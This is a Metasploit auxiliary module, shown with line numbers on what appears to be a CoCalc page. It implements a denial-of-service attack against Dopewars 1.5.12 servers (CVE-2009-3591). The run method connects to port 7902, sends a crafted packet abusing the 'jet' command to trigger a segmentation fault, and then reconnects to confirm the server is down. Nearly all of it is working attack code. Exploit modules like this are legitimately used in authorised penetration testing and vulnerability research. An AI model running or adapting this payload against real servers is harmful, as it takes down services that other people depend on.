Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'			 => 'Dopewars Denial of Service',
13
      'Description'	 => %q{
14
          The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to
15
        a lack of input validation.
16
      },
17
      'Author'		 => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
18
      'License'		 => MSF_LICENSE,
19
      'References'	 =>
20
        [
21
          [ 'CVE', '2009-3591' ],
22
          [ 'OSVDB', '58884' ],
23
          [ 'BID', '36606' ]
24
        ],
25
      'DisclosureDate' => '2009-10-05' ))
26

27
    register_options([Opt::RPORT(7902)])
28
  end
29

30
  def run
31
    # The jet command is vulnerable.
32
    # Program received signal SIGSEGV, Segmentation fault.
33
    # [Switching to Thread 0xb74916c0 (LWP 30638)]
34
    # 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
35
    # serverside.c:525
36
    # 525			dopelog(4, LF_SERVER, "%s jets to %s",
37
    #
38
    connect
39
    pkt =  "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
40
    print_status("Sending dos packet...")
41
    sock.put(pkt)
42
    disconnect
43

44
    print_status("Checking for success...")
45
    select(nil, nil, nil, 2)
46
    begin
47
      connect
48
    rescue ::Interrupt
49
      raise $!
50
    rescue ::Rex::ConnectionRefused
51
      print_good("Dopewars server successfully shut down!")
52
    else
53
      print_error("DOS attack unsuccessful")
54
    ensure
55
      disconnect
56
    end
57
  end
58
end
59

60